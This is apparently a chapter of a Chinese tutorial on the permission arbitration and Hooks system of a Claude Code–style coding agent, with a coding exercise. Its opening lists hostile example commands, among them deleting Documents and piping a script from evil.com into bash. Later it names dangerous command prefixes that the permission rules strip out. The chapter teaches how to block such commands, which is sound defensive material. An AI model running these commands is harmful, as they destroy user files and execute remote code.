能力越大,责任越大;工具越强,沙箱越严。
8.1 核心问题
第 7 章实现的 Agent 有了"手"——它能执行 Shell 命令、读写文件。但这同时意味着它能:
rm -rf ~/Documentscurl http://evil.com | bashgit push --force origin main
Agent 在帮你"重构代码"的过程中随时可能执行这些命令。如何防止它做危险操作?如何让特定场景(CI、企业)的策略覆盖用户的偏好?如何在不修改 Agent 源码的情况下,在工具调用节点插入审计日志?
这就是本章要解决的两个问题:
- 权限仲裁:每次工具调用前,通过
canUseTool()决策是"自动允许"、"自动拒绝"还是"询问用户" - Hooks 系统:在 Agent 生命周期的任意节点(工具执行前后、对话结束、会话开始...)注入自定义 Shell 命令或 HTTP 请求
8.2 原理讲解
8.2.1 权限模式:全局行为开关
PermissionMode 是整个权限系统的"总闸",决定默认的仲裁策略:
// src/types/permissions.ts
type PermissionMode =
| 'default' // 不确定时询问用户(正常交互模式)
| 'acceptEdits' // 自动批准文件编辑类操作,Shell 仍询问
| 'bypassPermissions' // 跳过所有权限检查(CI/自动化场景,--dangerously-skip-permissions)
| 'plan' // 只规划,不执行任何工具(200K 模型下分析用)
| 'dontAsk' // 永远不询问(自动接受所有,危险!)
| 'auto' // ANT 内部:由 AI 分类器自动判断安全性(TRANSCRIPT_CLASSIFIER 特性门控)
| 'bubble' // 将权限决策转发给父级 Agent(子 Agent 使用)
plan 模式的特殊之处:当会话 token 超过 200K 时,Claude Code 会自动切换到更大的模型(200K+ 上下文),同时强制进入 plan 模式——LLM 只能分析,不能执行。这防止了"大模型读完超长代码库后顺手删文件"的情况。
bypassPermissions 是最危险的模式:它绕过所有检查,专为 CI/CD 流水线设计。Claude Code 在进入此模式前会显示明确警告,并要求用户明确同意(--dangerously-skip-permissions 标志)。
8.2.2 权限决策结果
每次工具调用,canUseTool() 返回三种结果之一:
// src/types/permissions.ts
type PermissionResult =
| { behavior: 'allow'; updatedInput?: object; userModified?: boolean }
// allow: 直接执行,可选地携带修改后的 input(Hook 可以修改工具参数)
| { behavior: 'deny'; message?: string }
// deny: 拒绝执行,向 LLM 反馈拒绝原因
| { behavior: 'ask'; message: string; decisionReason?: PermissionDecisionReason }
// ask: 暂停,等待用户在终端输入 [y/n]
8.2.3 权限规则:优先级层次
Claude Code 的权限规则来自多个层次,优先级从高到低:
CLI 参数 (cliArg)
│ 最高优先级,--allow-tools "Bash(ls:*)"
▼
会话规则 (session)
│ 用户在对话中通过 "始终允许这个命令" 添加的规则
▼
企业策略 (policySettings)
│ 管理员下发的强制规则,普通用户不可覆盖
▼
项目设置 (projectSettings)
│ .claude/settings.json 中的规则
▼
用户设置 (userSettings)
│ ~/.claude/settings.json 中的规则
▼
默认行为 (PermissionMode 决定)
规则匹配语法(permissionRuleParser.ts):
Bash(ls:*) → 允许以 "ls" 开头的所有命令
Read → 允许 Read 工具的所有调用(不限参数)
Bash(rm:*) → 允许以 "rm" 开头的命令(危险!)
危险规则检测(dangerousPatterns.ts):
Claude Code 内置了危险前缀检测——规则匹配 python:*、node:*、bash:*、eval、sudo、curl 等时,在 auto 模式下会被自动剥除,防止"通过白名单绕过安全检查"的攻击。
8.2.4 canUseTool():权限的核心函数
在 Agentic Loop 中,每次执行工具前都会调用 canUseTool():
// src/hooks/useCanUseTool.ts 的类型签名
type CanUseToolFn = (
tool: Tool,
input: unknown,
toolUseContext: ToolUseContext,
assistantMessage: AssistantMessage,
toolUseID: string,
forceDecision?: PermissionBehavior,
) => Promise<PermissionResult>
canUseTool() 内部按顺序执行以下检查:
1. 检查是否处于 bypassPermissions 模式 → allow(跳过所有后续)
2. 检查是否处于 plan 模式 → deny(不允许任何工具执行)
3. 遍历 allowRules(从高优先级到低)→ 若匹配 allow 规则 → allow
4. 遍历 denyRules → 若匹配 deny 规则 → deny
5. 执行 PreToolUse Hooks → Hook 可返回 allow/deny/ask/passthrough
6. 若 Hook 返回 passthrough 或无 Hook → 基于 PermissionMode 决策:
- dontAsk → allow
- auto → 调用 AI 分类器(TRANSCRIPT_CLASSIFIER 特性)
- default/acceptEdits → ask(询问用户)
updatedInput 机制:allow 结果可以携带修改后的工具输入。例如,PreToolUse Hook 可以把 Bash(rm -f file.txt) 改为 Bash(rm -i file.txt)(加上交互确认标志),而 LLM 看到的依然是原始命令——修改对 LLM 透明。
8.2.5 Hooks 系统:27 个生命周期事件
Hooks 是 Claude Code 最强大的扩展点。完整的事件列表(src/entrypoints/sdk/coreTypes.ts):
const HOOK_EVENTS = [
// 工具执行
'PreToolUse', // 工具执行前(可阻塞、可修改 input、可决定权限)
'PostToolUse', // 工具执行后(可注入额外上下文)
'PostToolUseFailure', // 工具执行失败后
// 用户交互
'UserPromptSubmit', // 用户提交消息时(可修改/拦截)
'Notification', // 系统通知时
// 会话生命周期
'SessionStart', // 会话开始(可指定要监听的文件路径)
'SessionEnd', // 会话结束
'Setup', // 初始化阶段
// Agent 完成
'Stop', // 主 Agent 完成一轮任务
'StopFailure', // 主 Agent 失败
'SubagentStart', // 子 Agent 启动
'SubagentStop', // 子 Agent 完成
// 对话压缩
'PreCompact', // 压缩前(可阻塞)
'PostCompact', // 压缩后
// 权限
'PermissionRequest', // 权限请求时(决策前)
'PermissionDenied', // 权限被拒绝时
// 文件与目录
'CwdChanged', // 工作目录变化
'FileChanged', // 被监听文件变化(SessionStart 中指定)
'WorktreeCreate', // Git worktree 创建
'WorktreeRemove', // Git worktree 删除
// 配置
'InstructionsLoaded', // CLAUDE.md 加载完成
'ConfigChange', // 配置变更
// 协作模式
'TeammateIdle', // 团队成员空闲
'TaskCreated', // 任务创建
'TaskCompleted', // 任务完成
// 工具调用请求(MCP)
'Elicitation', // MCP 工具请求人工决策
'ElicitationResult', // 人工决策结果
] as const
8.2.6 Hook 的三种类型
类型 1:command(Shell 命令 Hook)
{
"hooks": {
"PreToolUse": [{
"matcher": "Bash",
"hooks": [{"type": "command", "command": "./audit.sh"}]
}]
}
}
- Hook 进程通过 环境变量 接收事件数据(
CLAUDE_TOOL_NAME、CLAUDE_TOOL_INPUT等) - stdout 作为 Hook 输出,可以是纯文本(显示给 LLM)或 JSON(控制行为)
- 支持 JSON 输出协议:
{
"continue": false,
"stopReason": "命令被审计系统拒绝",
"hookSpecificOutput": {
"hookEventName": "PreToolUse",
"permissionDecision": "deny",
"permissionDecisionReason": "命令包含危险操作"
}
}
类型 2:http(HTTP Webhook)
{
"hooks": {
"PostToolUse": [{
"hooks": [{"type": "http", "url": "https://audit.company.com/log"}]
}]
}
}
- 以
POST方式发送事件 JSON 到指定 URL - 内置 SSRF 防护(
src/utils/hooks/ssrfGuard.ts):阻止请求私有 IP 范围(127.0.0.1、10.x、172.16.x、192.168.x、::1等),防止 Hook 被用来探测内网服务 - HTTP Hook 必须返回 JSON 格式响应(与 command Hook 不同,不接受纯文本)
类型 3:function(程序内回调)
SDK 调用者专用,通过 registerFunctionHook() 在进程内注册 TypeScript 函数作为 Hook:
registerFunctionHook('PreToolUse', async (input) => {
if (input.tool_name === 'Bash' && input.tool_input.command.includes('sudo')) {
return { permissionDecision: 'deny', reason: '不允许 sudo' }
}
return { permissionDecision: 'allow' }
})
8.2.7 Hook 执行的安全机制
Workspace Trust(工作区信任):交互模式下,所有 Hook 都要求用户接受信任对话框后才会执行。这防止了"恶意项目在 .claude/settings.json 中注入 Hook 在用户不知情的情况下执行任意命令"的攻击。
// src/utils/hooks.ts
export function shouldSkipHookDueToTrust(): boolean {
const isInteractive = !getIsNonInteractiveSession()
if (!isInteractive) return false // SDK 模式:信任是隐式的
return !checkHasTrustDialogAccepted() // 交互模式:必须显式接受
}
超时保护:工具 Hook 默认超时 10 分钟(TOOL_HOOK_EXECUTION_TIMEOUT_MS = 10 * 60 * 1000),SessionEnd Hook 超时 1.5 秒(关闭时不能无限等待)。
异步 Hook:Hook 可以返回 {"async": true} 声明为后台执行,立即返回不阻塞工具调用。异步 Hook 完成后通过注册机制将结果送回主线程。
8.3 Claude Code 源码细节
8.3.1 PermissionDecisionReason:权限决策原因追踪
每次权限决策都会记录原因,方便用户理解"为什么这个命令需要确认":
// src/types/permissions.ts
type PermissionDecisionReason =
| { type: 'noMatchingRule' } // 无匹配规则,走默认逻辑
| { type: 'matchedDenyRule'; rule: string } // 匹配到拒绝规则
| { type: 'hook'; hookSource: string } // Hook 触发的决策
| { type: 'classifier'; classifier: string; reason: string } // AI 分类器决策
| { type: 'permissionMode'; mode: PermissionMode } // 权限模式决策
8.3.2 Hook 输出的 permissionDecision 字段
PreToolUse Hook 可以通过 JSON 输出直接返回权限决策,绕过默认的权限流程:
// syncHookResponseSchema 中的 PreToolUse 专属字段:
{
hookEventName: 'PreToolUse',
permissionDecision: 'allow' | 'deny' | 'ask',
permissionDecisionReason: string, // 显示给用户的原因
updatedInput: Record<string, unknown>, // 修改工具参数
additionalContext: string, // 注入到 LLM 上下文的额外信息
}
这意味着一个 PreToolUse Hook 可以同时做到:
- 记录日志(执行 Shell 命令写入审计文件)
- 修改参数(如把不安全的命令改为安全版本)
- 注入上下文(向 LLM 提供工具执行的额外信息)
- 决定权限(直接 allow/deny,跳过用户询问)
8.3.3 AggregatedHookResult:多 Hook 聚合
同一个事件可以配置多个 Hook,结果被聚合为 AggregatedHookResult:
type AggregatedHookResult = {
blockingError?: HookBlockingError // 任一 Hook 报告阻塞错误
preventContinuation?: boolean // 任一 Hook 返回 continue: false
permissionBehavior?: 'allow' | 'deny' | 'ask' // 最后一个有权限决策的 Hook
additionalContexts?: string[] // 所有 Hook 注入的上下文(合并)
updatedInput?: Record<string, unknown> // 最后一个修改 input 的 Hook
}
聚合规则:deny 优先于 allow 优先于 ask——任何一个 Hook 说 deny,就拒绝。
8.3.4 SessionEnd Hook 的超时设计
// src/utils/hooks.ts
const SESSION_END_HOOK_TIMEOUT_MS_DEFAULT = 1500 // 1.5 秒
export function getSessionEndHookTimeoutMs(): number {
const raw = process.env.CLAUDE_CODE_SESSIONEND_HOOKS_TIMEOUT_MS
const parsed = raw ? parseInt(raw, 10) : NaN
return Number.isFinite(parsed) && parsed > 0 ? parsed : SESSION_END_HOOK_TIMEOUT_MS_DEFAULT
}
SessionEnd Hook 在进程关闭路径上执行,超时设计极短(1.5 秒)避免拖慢退出。用户可通过环境变量覆盖(比如 teardown 脚本需要更多时间)。
8.3.5 canUseTool() 在 QueryEngine 中的位置
// src/QueryEngine.ts — submitMessage() 中
const wrappedCanUseTool: CanUseToolFn = async (tool, input, ...) => {
const result = await canUseTool(tool, input, ...)
// 追踪权限拒绝(用于 SDK 报告)
if (result.behavior !== 'allow') {
this.permissionDenials.push({
tool_name: sdkCompatToolName(tool.name),
tool_use_id: toolUseID,
tool_input: input,
})
}
return result
}
QueryEngine 包装了 canUseTool,在每次拒绝时记录 permissionDenials——SDK 调用方(如 VS Code 插件)可以读取这个列表了解"Agent 想做但被阻止了什么"。
8.4 最小化产出物
代码骨架位于
../chapters/08/src/,参考实现位于../chapters/08/solution/。 前置条件:需要ANTHROPIC_API_KEY环境变量(npm start需要)。
本章要实现什么
在 ../chapters/08/src/permissions.ts 中完成权限仲裁和 Hooks 系统。
接口规范(已提供,不要修改):
export type PermissionMode = 'default' | 'bypassPermissions'
export type HookConfig = { command: string; timeout?: number }
export type HooksSettings = { hooks?: { PreToolUse?: HookConfig[]; Stop?: HookConfig[] } }
export const SAFE_BASH_PREFIXES: string[]
export function loadHooksConfig(): HooksSettings
export async function runPreToolUseHooks(hooksConfig, toolName, toolInput): Promise<{ permissionDecision?: 'allow' | 'deny' | 'ask'; reason?: string }>
export async function runStopHooks(hooksConfig, finalText): Promise<void>
export async function canUseTool(toolName, toolInput, permissionMode, hooksConfig): Promise<'allow' | 'deny'>
export function closeReadline(): void
你需要实现:
loadHooksConfig():读取.mini-agent/settings.json,解析 JSON,失败时返回{}runPreToolUseHooks():遍历 PreToolUse hooks,执行 shell 命令,聚合权限决策(deny 优先)runStopHooks():遍历 Stop hooks,执行 shell 命令,打印输出canUseTool():bypassPermissions→ 直接 allow- 执行 PreToolUse Hooks → Hook 可 allow/deny
Read→ allow;Write→ askUser;Bash→ 安全命令 allow,其他 askUser
关键约束:
canUseTool()必须 import 并复用第 7 章的agenticLoop(通过main.ts组合)- 本章只新增权限逻辑,工具执行仍来自第 4 章的
TOOL_REGISTRY
验收
cd docs/chapters/08
npm install
npm test
卡住时查看 ../chapters/08/solution/permissions.ts。
8.5 权限流程图
工具调用请求
│
▼
bypassPermissions? ──是──→ allow(直接执行)
│否
▼
plan 模式? ──是──→ deny(不执行任何工具)
│否
▼
匹配 allowRules? ──是──→ allow
│否
▼
匹配 denyRules? ──是──→ deny(附带规则来源说明)
│否
▼
执行 PreToolUse Hooks
│
├─ Hook 返回 deny ──→ deny(附带 Hook 原因)
├─ Hook 返回 allow ──→ allow(可能附带修改后的 input)
├─ Hook 返回 ask ──┐
└─ 无 Hook / passthrough ──┤
▼
PermissionMode?
│
├─ dontAsk → allow
├─ auto → AI 分类器决策
├─ acceptEdits → Read/Write: allow; Bash: ask
└─ default → ask(询问用户 [y/n])
8.6 本章小结
本章为 Coding Agent 装上了"安全阀":
-
PermissionMode是全局策略开关:default(询问)、acceptEdits(编辑自动允许)、bypassPermissions(全跳过,CI 用)、plan(只读,不执行)。bypassPermissions是最危险的,Claude Code 要求明确的--dangerously-skip-permissions标志才能进入。 -
权限规则有优先级层次:CLI 参数 > 会话规则 > 企业策略 > 项目配置 > 用户配置 > 默认行为。这让企业管理员可以设置不可覆盖的强制策略。
-
Hooks 是最强大的扩展点:27 个生命周期事件覆盖了从"工具执行前"到"会话结束"的完整生命周期。
PreToolUseHook 可以同时做审计、修改参数和决定权限,而 LLM 对这一切透明。 -
Hook 安全机制:工作区信任对话框(防止恶意项目注入 Hook)、HTTP Hook 的 SSRF 防护(防止探测内网)、超时保护(防止 Hook 拖慢进程退出)。
-
updatedInput机制:权限系统不只能 allow/deny,还能修改工具参数——例如把rm -f改为rm -i,让不安全的命令变安全,而 LLM 看到的仍是原始命令。 -
permissionDenials追踪:QueryEngine记录每次被拒绝的工具调用,SDK 调用方可读取,用于审计和分析"Agent 想做但不被允许的事情"。
下一章将解决另一个问题:LLM 默认不了解你的项目代码库,如何通过 System Prompt 注入项目上下文(CLAUDE.md、git 历史、目录树)让 Agent 一开始就"认识"你的代码?